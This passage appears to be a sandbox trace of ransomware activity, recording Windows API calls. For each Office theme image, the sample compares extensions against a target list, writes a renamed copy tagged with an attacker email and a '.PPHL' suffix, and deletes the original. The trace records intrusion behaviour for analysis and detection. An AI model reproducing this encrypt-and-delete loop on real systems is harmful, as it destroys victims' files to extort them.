lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0078.762] SetEndOfFile (hFile=0x1fc) returned 1 [0078.762] CloseHandle (hObject=0x1fc) returned 1 [0078.762] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.762] SetEndOfFile (hFile=0x20c) returned 1 [0078.763] CloseHandle (hObject=0x20c) returned 1 [0078.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0078.763] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 1 [0078.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0078.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0078.764] lstrlenW (lpString=".doc") returned 4 [0078.764] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0078.764] lstrlenW (lpString=".docx") returned 5 [0078.764] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0078.764] lstrlenW (lpString=".pdf") returned 4 [0078.764] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0078.764] lstrlenW (lpString=".xls") returned 4 [0078.764] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0078.764] lstrlenW (lpString=".xlsx") returned 5 [0078.764] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0078.764] lstrlenW (lpString=".ppt") returned 4 [0078.764] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0078.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0078.764] lstrlenW (lpString=".zip") returned 4 [0078.764] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0078.764] lstrlenW (lpString=".rar") returned 4 [0078.764] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0078.764] lstrlenW (lpString=".bz2") returned 4 [0078.764] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0078.764] lstrlenW (lpString=".7z") returned 3 [0078.764] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0078.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0078.764] lstrlenW (lpString=".dbf") returned 4 [0078.764] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0078.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0078.764] lstrlenW (lpString=".1cd") returned 4 [0078.764] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0078.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0078.764] lstrlenW (lpString=".jpg") returned 4 [0078.765] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0078.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0078.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0078.765] lstrlenW (lpString=".doc") returned 4 [0078.765] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0078.765] lstrlenW (lpString=".docx") returned 5 [0078.765] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0078.765] lstrlenW (lpString=".pdf") returned 4 [0078.765] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0078.765] lstrlenW (lpString=".xls") returned 4 [0078.765] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0078.765] lstrlenW (lpString=".xlsx") returned 5 [0078.765] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0078.765] lstrlenW (lpString=".ppt") returned 4 [0078.765] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0078.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0078.765] lstrlenW (lpString=".zip") returned 4 [0078.765] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0078.765] lstrlenW (lpString=".rar") returned 4 [0078.765] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0078.765] lstrlenW (lpString=".bz2") returned 4 [0078.765] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0078.765] lstrlenW (lpString=".7z") returned 3 [0078.765] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0078.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0078.765] lstrlenW (lpString=".dbf") returned 4 [0078.765] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0078.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0078.765] lstrlenW (lpString=".1cd") returned 4 [0078.765] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0078.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0078.765] lstrlenW (lpString=".jpg") returned 4 [0078.765] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0078.766] lstrcmpiW (lpString1=".GIF", lpString2=".PPHL") returned -1 [0078.766] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0078.766] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0078.766] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=1339) returned 1 [0078.766] CloseHandle (hObject=0x20c) returned 1 [0078.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 0x20 [0078.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0078.766] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0078.766] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.766] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.767] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0078.769] GetLastError () returned 0x0 [0078.769] ReadFile (in: hFile=0x20c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x53b, lpOverlapped=0x0) returned 1 [0078.779] WriteFile (in: hFile=0x1fc, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x540, lpOverlapped=0x0) returned 1 [0078.780] ReadFile (in: hFile=0x20c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0078.780] WriteFile (in: hFile=0x1fc, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0078.780] SetEndOfFile (hFile=0x1fc) returned 1 [0078.780] CloseHandle (hObject=0x1fc) returned 1 [0078.780] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.780] SetEndOfFile (hFile=0x20c) returned 1 [0078.781] CloseHandle (hObject=0x20c) returned 1 [0078.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0078.781] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 1 [0078.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0078.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0078.782] lstrlenW (lpString=".doc") returned 4 [0078.782] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0078.782] lstrlenW (lpString=".docx") returned 5 [0078.782] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0078.782] lstrlenW (lpString=".pdf") returned 4 [0078.782] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0078.782] lstrlenW (lpString=".xls") returned 4 [0078.782] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0078.782] lstrlenW (lpString=".xlsx") returned 5 [0078.782] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0078.782] lstrlenW (lpString=".ppt") returned 4 [0078.782] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0078.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0078.782] lstrlenW (lpString=".zip") returned 4 [0078.782] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0078.782] lstrlenW (lpString=".rar") returned 4 [0078.782] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0078.782] lstrlenW (lpString=".bz2") returned 4 [0078.782] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0078.782] lstrlenW (lpString=".7z") returned 3 [0078.782] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0078.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0078.782] lstrlenW (lpString=".dbf") returned 4 [0078.782] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0078.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0078.782] lstrlenW (lpString=".1cd") returned 4 [0078.782] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0078.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0078.782] lstrlenW (lpString=".jpg") returned 4 [0078.783] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0078.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0078.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0078.783] lstrlenW (lpString=".doc") returned 4 [0078.783] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0078.783] lstrlenW (lpString=".docx") returned 5 [0078.783] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0078.783] lstrlenW (lpString=".pdf") returned 4 [0078.783] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0078.783] lstrlenW (lpString=".xls") returned 4 [0078.783] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0078.783] lstrlenW (lpString=".xlsx") returned 5 [0078.783] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0078.783] lstrlenW (lpString=".ppt") returned 4 [0078.783] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0078.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0078.783] lstrlenW (lpString=".zip") returned 4 [0078.783] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0078.783] lstrlenW (lpString=".rar") returned 4 [0078.783] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0078.783] lstrlenW (lpString=".bz2") returned 4 [0078.783] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0078.783] lstrlenW (lpString=".7z") returned 3 [0078.783] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0078.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0078.783] lstrlenW (lpString=".dbf") returned 4 [0078.783] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0078.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0078.783] lstrlenW (lpString=".1cd") returned 4 [0078.783] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0078.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0078.783] lstrlenW (lpString=".jpg") returned 4 [0078.783] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0078.784] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0078.784] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0078.784] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0078.784] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=16738) returned 1 [0078.784] CloseHandle (hObject=0x20c) returned 1 [0078.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 0x20 [0078.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0078.784] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0078.784] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.784] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.784] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0078.785] GetLastError () returned 0x0 [0078.785] ReadFile (in: hFile=0x20c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x4162, lpOverlapped=0x0) returned 1 [0078.786] WriteFile (in: hFile=0x1fc, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x4170, lpOverlapped=0x0) returned 1 [0078.788] ReadFile (in: hFile=0x20c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0078.788] WriteFile (in: hFile=0x1fc, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0078.788] SetEndOfFile (hFile=0x1fc) returned 1 [0078.788] CloseHandle (hObject=0x1fc) returned 1 [0078.788] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.788] SetEndOfFile (hFile=0x20c) returned 1 [0078.789] CloseHandle (hObject=0x20c) returned 1 [0078.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0078.789] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 1 [0078.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0078.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0078.789] lstrlenW (lpString=".doc") returned 4 [0078.789] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0078.789] lstrlenW (lpString=".docx") returned 5 [0078.789] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0078.789] lstrlenW (lpString=".pdf") returned 4 [0078.790] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0078.790] lstrlenW (lpString=".xls") returned 4 [0078.790] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0078.790] lstrlenW (lpString=".xlsx") returned 5 [0078.790] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0078.790] lstrlenW (lpString=".ppt") returned 4 [0078.790] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0078.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0078.790] lstrlenW (lpString=".zip") returned 4 [0078.790] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0078.790] lstrlenW (lpString=".rar") returned 4 [0078.790] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0078.790] lstrlenW (lpString=".bz2") returned 4 [0078.790] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0078.790] lstrlenW (lpString=".7z") returned 3 [0078.790] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0078.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0078.790] lstrlenW (lpString=".dbf") returned 4 [0078.790] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0078.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0078.790] lstrlenW (lpString=".1cd") returned 4 [0078.790] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0078.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0078.790] lstrlenW (lpString=".jpg") returned 4 [0078.790] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0078.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0078.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0078.790] lstrlenW (lpString=".doc") returned 4 [0078.790] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0078.790] lstrlenW (lpString=".docx") returned 5 [0078.790] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0078.790] lstrlenW (lpString=".pdf") returned 4 [0078.790] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0078.790] lstrlenW (lpString=".xls") returned 4 [0078.791] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0078.791] lstrlenW (lpString=".xlsx") returned 5 [0078.791] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0078.791] lstrlenW (lpString=".ppt") returned 4 [0078.791] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0078.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0078.791] lstrlenW (lpString=".zip") returned 4 [0078.791] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0078.791] lstrlenW (lpString=".rar") returned 4 [0078.791] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0078.791] lstrlenW (lpString=".bz2") returned 4 [0078.791] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0078.791] lstrlenW (lpString=".7z") returned 3 [0078.791] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0078.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0078.791] lstrlenW (lpString=".dbf") returned 4 [0078.791] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0078.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0078.791] lstrlenW (lpString=".1cd") returned 4 [0078.791] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0078.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0078.791] lstrlenW (lpString=".jpg") returned 4 [0078.791] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0078.791] lstrcmpiW (lpString1=".GIF", lpString2=".PPHL") returned -1 [0078.791] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0078.791] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0078.792] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=1439) returned 1 [0078.792] CloseHandle (hObject=0x20c) returned 1 [0078.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 0x20 [0078.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0078.792] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0078.792] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.792] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.792] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0078.854] GetLastError () returned 0x0 [0078.854] ReadFile (in: hFile=0x20c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x59f, lpOverlapped=0x0) returned 1 [0078.919] WriteFile (in: hFile=0x18c, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x5a0, lpOverlapped=0x0) returned 1 [0078.923] ReadFile (in: hFile=0x20c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0078.923] WriteFile (in: hFile=0x18c, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xea, 